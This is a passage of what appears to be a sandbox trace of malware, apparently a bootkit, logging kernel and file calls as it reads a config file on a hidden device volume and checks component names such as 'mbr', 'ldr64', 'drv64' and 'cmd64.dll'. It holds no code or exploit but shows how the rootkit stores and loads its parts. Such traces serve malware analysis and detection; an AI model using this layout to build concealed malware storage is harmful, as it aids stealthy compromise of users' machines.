_snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.822] KeEnterCriticalRegion () [0127.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.822] KeLeaveCriticalRegion () [0127.822] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.822] KeEnterCriticalRegion () [0127.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.822] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.822] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfde30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.822] KeLeaveCriticalRegion () [0127.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.823] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.823] KeEnterCriticalRegion () [0127.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.823] ExFreePoolWithTag (P=0xfffffa8003bfc1b0, Tag=0x0) [0127.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.823] KeLeaveCriticalRegion () [0127.823] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.823] ReleaseMutex (hMutex=0xf0) returned 1 [0127.823] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.823] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.823] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.823] KeEnterCriticalRegion () [0127.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.823] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.823] IdePortDispatch () returned 0x103 [0127.823] KeWaitForMutexObject () returned 0x0 [0127.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.823] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.823] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.823] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.823] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.824] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.824] KeLeaveCriticalRegion () [0127.824] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.824] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.824] KeEnterCriticalRegion () [0127.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.824] KeLeaveCriticalRegion () [0127.824] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.824] KeEnterCriticalRegion () [0127.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.824] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.824] IdePortDispatch () returned 0x103 [0127.824] KeWaitForMutexObject () returned 0x0 [0127.824] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.824] KeLeaveCriticalRegion () [0127.824] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.824] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.825] KeEnterCriticalRegion () [0127.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.825] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c52000 [0127.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.825] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.825] IdePortDispatch () returned 0x103 [0127.825] KeWaitForMutexObject () returned 0x0 [0127.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.825] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.825] IdePortDispatch () returned 0x103 [0127.825] KeWaitForMutexObject () returned 0x0 [0127.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.825] KeLeaveCriticalRegion () [0127.825] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.826] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.826] KeEnterCriticalRegion () [0127.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.826] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.826] KeLeaveCriticalRegion () [0127.826] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.826] KeEnterCriticalRegion () [0127.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.826] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.826] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.826] KeLeaveCriticalRegion () [0127.826] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.826] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.826] KeEnterCriticalRegion () [0127.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.827] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.827] KeLeaveCriticalRegion () [0127.827] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.827] ReleaseMutex (hMutex=0xf0) returned 1 [0127.827] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.827] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.827] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.827] KeEnterCriticalRegion () [0127.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.827] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.827] IdePortDispatch () returned 0x103 [0127.827] KeWaitForMutexObject () returned 0x0 [0127.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.827] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.827] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.827] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.827] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.827] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcc00 [0127.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.827] KeLeaveCriticalRegion () [0127.827] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.828] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.828] KeEnterCriticalRegion () [0127.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.828] KeLeaveCriticalRegion () [0127.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.828] KeEnterCriticalRegion () [0127.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.828] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.828] IdePortDispatch () returned 0x103 [0127.828] KeWaitForMutexObject () returned 0x0 [0127.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.828] KeLeaveCriticalRegion () [0127.828] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.828] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.828] KeEnterCriticalRegion () [0127.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c53000 [0127.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.829] IdePortDispatch () returned 0x103 [0127.829] KeWaitForMutexObject () returned 0x0 [0127.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.829] IdePortDispatch () returned 0x103 [0127.829] KeWaitForMutexObject () returned 0x0 [0127.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.829] KeLeaveCriticalRegion () [0127.829] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.830] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.830] KeEnterCriticalRegion () [0127.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.830] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.830] KeLeaveCriticalRegion () [0127.830] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.830] KeEnterCriticalRegion () [0127.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.830] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.830] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.830] KeLeaveCriticalRegion () [0127.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.830] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.830] KeEnterCriticalRegion () [0127.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.830] ExFreePoolWithTag (P=0xfffffa8003bfcc00, Tag=0x0) [0127.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.830] KeLeaveCriticalRegion () [0127.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.831] ReleaseMutex (hMutex=0xf0) returned 1 [0127.831] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.831] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.831] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.831] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.831] KeEnterCriticalRegion () [0127.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.831] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.831] IdePortDispatch () returned 0x103 [0127.831] KeWaitForMutexObject () returned 0x0 [0127.831] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.831] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.831] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.831] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.831] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.831] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.831] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.831] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.831] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.831] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.831] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.831] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.831] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.831] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.832] KeLeaveCriticalRegion () [0127.832] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.832] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.832] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.832] KeEnterCriticalRegion () [0127.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.832] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.832] IdePortDispatch () returned 0x103 [0127.832] KeWaitForMutexObject () returned 0x0 [0127.832] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.832] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.832] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.832] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.832] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.832] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.832] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.832] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.832] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.832] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.833] KeLeaveCriticalRegion () [0127.833] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.833] ReleaseMutex (hMutex=0x100) returned 1 [0127.833] Sleep (dwMilliseconds=0x2bf20) [0127.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f653bf0, dwHighDateTime=0x1d24fa4)) [0127.841] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.841] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.841] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.841] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.841] KeEnterCriticalRegion () [0127.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.842] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.842] IdePortDispatch () returned 0x103 [0127.842] KeWaitForMutexObject () returned 0x0 [0127.842] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.842] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.842] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.842] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.842] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.842] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb470 [0127.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.842] KeLeaveCriticalRegion () [0127.842] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.842] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.842] KeEnterCriticalRegion () [0127.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.842] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.842] KeLeaveCriticalRegion () [0127.842] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.842] KeEnterCriticalRegion () [0127.842] ExAcquireFastMutexUnsafe (in: 